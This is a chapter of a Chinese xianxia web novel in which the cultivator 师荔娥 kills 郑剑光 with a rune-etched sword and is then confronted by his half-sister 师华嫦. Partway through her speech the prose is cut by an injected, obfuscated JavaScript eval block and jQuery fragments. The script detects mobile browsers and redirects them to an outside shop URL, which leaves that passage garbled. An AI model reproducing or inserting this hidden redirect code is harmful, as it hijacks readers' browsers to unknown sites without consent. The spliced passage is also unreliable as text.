44. 难销恨4

作品:《如何将徒儿扳回正道

    “师荔娥!!!”


    众人纷杂脚步顿住,皆不约而同转头去看究竟发生了何事,任谁也想不到会出现眼前这幕。


    在这几日林净他们知晓了朝歌众人为何消失,眼下仅剩花草商等人如何异变成诡尸的问题。几人打算将师荔娥带回妙真门拷问,想着或许能搞清楚。


    谁知如今竟然是问也不用问,一切都水落石出。


    朝歌气温比起以往低了不少,即便有太阳悬在空中也无济于事,仅仅是照亮了此地而已。后山僻静许久,数年来都不曾来过这么多人。


    郑剑光见这么多人僵持在后山也不是个办法,于是出声劝和,提议师华嫦将人先带回妙真门再说。


    眼见师荔娥已经被打的在地上打滚,师华嫦阖了阖眼同意了,主动走在最前面,步履稍乱,似乎在这里多待一瞬都觉得窒息。


    她之后修士走了大半,剩下的则盯着林净他们,生怕有什么变故。林净不受影响,自顾自弯腰从地上捡起匕首还给苍嵇,扶着王铁衣也一同离去。


    而郑剑光看着地上的师荔娥,本来满心嫌恶,但在看到他脸上的绝望和痛楚后还是觉得郁闷,踟蹰着想去扶起他。


    仅仅犹豫一瞬,那个打他的修士已经黑着脸,一把攥住师荔娥的后背领口将他蛮横提了起来。


    眼见如此,郑剑光也就转过身寻找林净他们。方才的踟蹰已经让他成了最末端的人,眼看着距离较大,他追赶几步后选择慢下脚步准备与师荔娥他们同回。


    今日虽然天气冷,好在还有太阳,晒久了也怪舒服。郑剑光慢下脚步,抚摸着手里的剑鞘,回想着家中父母,俊朗面部浮现出笑意。


    不知朝歌近日如何,他离家太久,也不知老父老母鬓边可曾添了白发?


    脑中思维逐渐发散,郑剑光忽略了对周围环境的感知,听见身后有人慌张的呼吸声下意识想回头查看,可还来不及转身,一阵细微的布帛撕裂声呢喃在耳畔,仅仅刹那功夫,凉意由背后至胸前,令他浑身紧绷。


    郑剑光起初未曾感到疼痛,只觉得是领口不整等缘故让风吹进了胸前皮肤,可随后传来的剧痛顿时让他明白发生了什么——有一把剑,捅穿了他。


    那柄长剑自背后狠狠贯穿他的胸膛,郑剑光欣喜的神情凝滞在脸上,目光逐渐下移,停在他胸前突兀多出来的那截长剑上。


    剑身璀璨耀眼,在阳光中闪着灿烂光芒,但他的视线并不落在此处,那双素来宽和的眼眸此刻看着剑锋滴滴血迹流露出些许茫然,他张嘴,却是说不出一个字。


    “嗬……”


    郑剑光仿佛是从胸腔发出了轻微响声,随后就如断了根的树木般轰然倒地,在他身后,杀死他的凶手身影赫然出现。


    “师荔娥!!!”


    握剑之人半边脸沾了血痕,听到这一声痛彻心扉的呼喊后眼中浮现愉悦笑意,歪着头以一种天真乖巧的姿态和笑容回应道:“不好意思啊,我太痛了,拿不稳剑。”


    他纵使笑着,却让人感觉比深冬水流还要冷上三分,双目阴鸷犹如毒蛇般迫人。不过是片刻的功夫,一条人命就死在他手里,可他却满不在乎,欣赏着别人痛不欲生的模样。


    师荔娥看着师华嫦他们的身影由远及近,笑容越来越疯癫真切,高兴于自己的所作所为能给他们带来这许多痛苦——尤其是能让师华嫦痛心疾首。


    就在不久之前,师华嫦注意到林净等人跟了上来,可唯独不见郑剑光。她内心骤然生出不详的预感,慌乱瞬间后主动转过头去寻找他,也因此亲眼目睹了长剑刺穿郑剑光的画面。


    “师华嫦!!!”


    她冲上前,却接不住郑剑光下滑的身体。而在他身后,师荔娥看起来得意洋洋。


    她猛地挥出灵力打中了师荔娥,蹲下身去摸郑剑光的脉搏和呼吸,但她此刻双手不受控制的发麻,早已没了感知能力。


    此时林净感到,她见此二话不说上前,在发觉郑剑光已经没了气息后心神一震,当即举起手想要施法。


    她想助郑剑光回魂,但是忽略了一件事——那柄鎏金长剑,藏着符文,足以在瞬间碎裂人的魂魄。


    当她查看时郑剑光的魂魄已经被撕扯干净,即便什么敛骨术回魂法也找不回那些被吞噬或消散的魂魄碎片。


    即便万般不愿,她也只能承认这件事。


    郑剑光,一剑穿心而死,已是无力回天。


    她侧目去看,身旁师华嫦脸上已经褪去血色,半张的唇颤抖几番却吐不出一个字,眼睫上下眨动,目光在郑剑光身上流连。


    一介凡人,早该回家与双亲团聚,在回家路上遇见了一件悬案,几番周折好不容易查清。结果在最后关头送了性命?


    何其荒唐。


    分明是她妙真门中的纠葛,可最终连累了这么多人,不知害了多少性命与家庭。往日被她刻意忽略的事情一点点出现在脑海中,若是她不曾无视那些异常之处,今日又何至于此。


    师华嫦压在地上的手指颤抖,眼前似乎出现重影。几息之后,眼前再度变得清晰,但心脏中充斥的无尽悔恨交缠,开始蔓延至脑中。她张口喘息,指尖忽而传来麻木,师华嫦凝眸看了片刻,抬起手一把攥住斧头,站起身狠狠砍向对面的师荔娥!


    光芒在空中划过长弧,师荔娥察觉到了,身体不自觉前倾,双眼紧紧盯着那柄斧头,似乎期待着它劈开头颅的那一刻。


    “师道友!”林净拦截的手顿在半空中,她视线停在那柄斧子上,须臾又后退几步。


    那柄斧头停在师荔娥头上,剧烈颤抖几下之后划过风声,不见一丝血迹。


    师荔娥毫不意外,料定了她不会下这个手,笑道:“姐姐怎么不砍了?你不是最喜欢欺负别人吗?当初要不是你骂了一句‘贱人’,我也不会被欺负那些年,现在我可是报仇了。他死的好啊,死得活该!你就是天生的克夫命……哈哈哈哈……”


    师华嫦怒极反笑,收了斧头,看向他的凤眼似是淬了冰碴,嗤笑道:“你以为我会杀了你,做梦。郑剑光死了和我克不克夫从来没关系,那些男人的死也和我毫无关系,全数是你从中作梗!师荔娥啊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184445|196855||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    师荔娥,你可真贱。当日骂你,果真不错。”


    她似乎在一瞬间收敛了情绪,微扬的下巴和不屑的眼神几乎和数年前初见师荔娥时一模一样。


    师荔娥愣了片刻,抬起双眼直勾勾看着师华嫦吼道:“你看不起我?那你就杀了我啊!”


    “你为什么不动手?反正在你出声骂我的那一刻就已经杀掉我了。你为什么还在这里惺惺作态?!如果没有你我不会变成现在这样。师华嫦——是你欠我的。”


    如果不是当年她那一句“贱人”,冤枉他偷了东西。他不会被阿岭打骂、他和母亲她们不会被继续关在后山……阿岭不会死吴姑也不会死!


    这一切都是她害的。


    师荔娥步步紧逼,面容因为极度的情绪而变得扭曲,“凭什么,凭什么同样是一个父亲你生来什么都有而我却像阴沟里的老鼠,只能在后山不见天日任人欺辱?!”


    “师华嫦,你有什么资格说我贱。是非不分心狠手辣的明明是你,最该死的人是你才对啊!!”


    无尽的愱恨蒙蔽了他的双目,师荔娥似乎又回到了小时候的围场之中。不同的是那时他不过是逆来顺受着侮辱,而如今他却能抬起手直视着用言语反击,说出那些曾在心里梦里出现了无数次的话语。


    对……他变成现在这样就是师华嫦害的!


    如果没有师华嫦或者她早就死了,自己不会经历过去的一切苦痛与折磨。他的不幸都是她带来了,凭什么他挣扎于那些挥之不去的噩梦之中而她却能享受着一切。


    自己身边的亲人在身边一个个离开,他怎么能允许师华嫦风光无限?他怎么能看着仇人就那样平稳的度过一生?!


    他双目赤红,歇斯底里:“这不公平,分明是同一个父亲。你就该和我一样受尽白眼轻蔑,和我一样孑然一身。我告诉你,你的那些未婚夫是我杀的,只要我活着一天,你就不得安宁。


    “师华嫦,你克尽父母亲朋,你活该孤家寡人!”


    听着那些怨恨的话,师华嫦双目闭合,一语不发的尽数收下。


    由自己导致了他的遭遇悲惨,师荔娥有怨气是应该的。可他千不该万不该,不该害了这么多人。


    啪——


    一个巴掌,恶狠狠打在他脸上,打断了他的喋喋不休。


    掌箍声盖过了一切声音,此后空气陷入一片寂静。在场之人目光如刺般盯着师荔娥,看见了他被打的歪向一边的脸颊与嘴角逐渐渗出的鲜血。而巴掌的主人漠然收回了手,怒气仿佛昙花一现,轻飘飘睨着师荔娥,喉间发出冷哼。


    “竖子狺狺。”


    她不再理会师荔娥,看向一旁的林净,神情平淡,依旧是那句话:“此乃师家事务,还请你们缄口,事情未有定论之前莫告知他人。”


    “可已经有外人知晓了。”


    一道男声插来,林净心中讶异,抬眼往远处望去。而本来发狂的师荔娥在听到这句话后神情瞬间变得不安,几乎是逃避般扔掉手中染血的绘彩长剑,瞪大双眼望着声源处,说不清是期盼还是恐惧。